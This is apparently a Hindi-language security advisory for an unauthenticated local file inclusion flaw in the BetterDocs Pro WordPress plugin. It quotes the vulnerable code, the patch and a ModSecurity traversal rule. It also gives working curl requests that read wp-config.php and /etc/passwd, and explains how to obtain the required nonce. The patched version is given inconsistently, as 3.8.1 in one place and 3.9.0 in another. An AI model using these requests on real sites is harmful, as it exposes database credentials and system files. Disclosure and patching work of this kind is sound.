
अप्रमाणित स्थानीय फ़ाइल समावेशन
| फ़ील्ड | मान |
|---|
| CVE ID | CVE-2026-7515 |
| CVSS स्कोर | 9.8 (क्रिटिकल) |
| CVSS वेक्टर | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| प्रभावित | BetterDocs Pro <= 3.8.0 |
| पैच किया गया | 3.8.1 |
| शोधकर्ता | Nguyen Ngoc Duc (duc193) |
| प्रकाशित | जून 18, 2026 |
| CWE | CWE-98: शामिल/आवश्यक कथन में फ़ाइलनाम का अनुचित नियंत्रण |
WordPress के लिए BetterDocs Pro प्लगइन doc_style पैरामीटर के माध्यम से संस्करण 3.8.0 तक (और इसमें शामिल) स्थानीय फ़ाइल समावेशन के लिए संवेदनशील है। इससे अनधिकृत हमलावरों के लिए सर्वर पर मनमानी PHP फ़ाइलों को शामिल करना और निष्पादित करना संभव हो जाता है।
फ़ाइल: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php
पंक्ति: 141
// संवेदनशील कोड (v3.8.0)
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';
समस्या: $_POST['doc_style'] से उपयोगकर्ता-नियंत्रित इनपुट बिना किसी सत्यापन के सीधे उपयोग किया जाता है।
फ़ाइल: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php
पंक्ति: 195
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [
'doc' => $doc,
'excerpt' => $excerpt,
'dictionary_learn_more_text' => $learn_more_text,
'item_heading_tag' => $item_heading_tag,
]);
समस्या: $doc_style चर (उपयोगकर्ता-नियंत्रित) को सीधे views->get() को पारित फ़ाइल पथ में अंतःस्थापित किया जाता है, जो फ़ाइल को शामिल करता है।
HTTP POST अनुरोध
↓
$_POST['doc_style'] = "../../../../../../wp-config"
↓
कोई सत्यापन नहीं (संवेदनशील संस्करण 3.8.0)
↓
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
↓
include() या require() के माध्यम से फ़ाइल समावेशन
↓
मनमाना PHP कोड निष्पादन / फ़ाइल पढ़ना
// पंक्ति 141 in includes/Core/Encyclopedia.php
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';
// पंक्ति 145-148 in includes/Core/Encyclopedia.php
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
? $_POST['doc_style']
: 'doc-grid';
| पहलू | संवेदनशील (3.8.0) | पैच किया गया (3.8.1) |
|---|---|---|
| सत्यापन | कोई नहीं | in_array() के साथ श्वेतसूची |
| अनुमत मान | कोई भी स्ट्रिंग | केवल doc-grid, doc-list, doc-list-2 |
| प्रकार जाँच | नहीं | सख्त (===) तुलना |
दोनों एंडपॉइंट nopriv हुक के साथ पंजीकृत हैं, जिसका अर्थ है कि वे अनधिकृत उपयोगकर्ताओं के लिए सुलभ हैं:
// पंक्ति 17-18
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);
// पंक्ति 20-21
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);
POST /wp-admin/admin-ajax.php?action=load_more_docs_sectionPOST /wp-admin/admin-ajax.php?action=load_more_docsencyclopedia_nonce (BetterDocs Encyclopedia ब्लॉक वाले पृष्ठों पर पृष्ठ स्रोत में पाया जाता है)# चरण 1: wp-config.php पढ़ें
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
-d "action=load_more_docs_section" \
-d "_nonce=VALID_ENCRYPTION_NONCE" \
-d "doc_style=../../../../../../wp-config" \
-d "page=1"
# चरण 2: /etc/passwd पढ़ें
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
-d "action=load_more_docs" \
-d "_nonce=VALID_ENCRYPTION_NONCE" \
-d "doc_style=../../../../../../etc/passwd" \
-d "page=0"
encyclopedia_nonce उन पृष्ठों पर JavaScript में उजागर होता है जहाँ BetterDocs Encyclopedia ब्लॉक प्रस्तुत किया जाता है:
// in betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
'site_url': '...',
'ajax_url': '...',
'_nonce': 'VALID_NONCE_HERE' // <-- यह वही है जो आपको चाहिए
};
| प्रभाव प्रकार | गंभीरता | विवरण |
|---|---|---|
| गोपनीयता | उच्च | मनमानी फ़ाइलें पढ़ें (wp-config.php, /etc/passwd, आदि) |
| अखंडता | उच्च | फ़ाइलों को संशोधित या हटाएं |
| उपलब्धता | उच्च | सेवा से वंचित करना |
| पहुंच वेक्टर | नेटवर्क | दूरस्थ रूप से शोषणीय |
| विशेषाधिकार | कोई नहीं | प्रमाणीकरण की आवश्यकता नहीं |
| उपयोगकर्ता सहभागिता | कोई नहीं | आवश्यक नहीं |
BetterDocs Pro संस्करण 3.8.1 या बाद के संस्करण में अपडेट करें
includes/Core/Encyclopedia.php में निम्नलिखित पैच लागू करें:
// पंक्ति 141 को इससे बदलें:
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
? $_POST['doc_style']
: 'doc-grid';
पंक्ति 236 पर भी यही समाधान लागू करें।
doc_style पैरामीटर में पथ ट्रैवर्सल को अवरुद्ध करने के लिए नियम जोड़ें:
# पथ ट्रैवर्सल पैटर्न के साथ doc_style को अवरुद्ध करें
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
"id:1001,phase:1,deny,status:403,msg:'LFI प्रयास अवरुद्ध'"
संवेदनशील संस्करण: betterdocs-pro_3.8.0.zip
पैच किया गया संस्करण: betterdocs-pro_3.9.0.zip
मुख्य फ़ाइलें:
- includes/Core/Encyclopedia.php (संवेदनशील)
- includes/Core/Scripts.php (नॉन्स जनरेशन शामिल है)
- includes/Utils/Views.php (फ़ाइल समावेशन तर्क)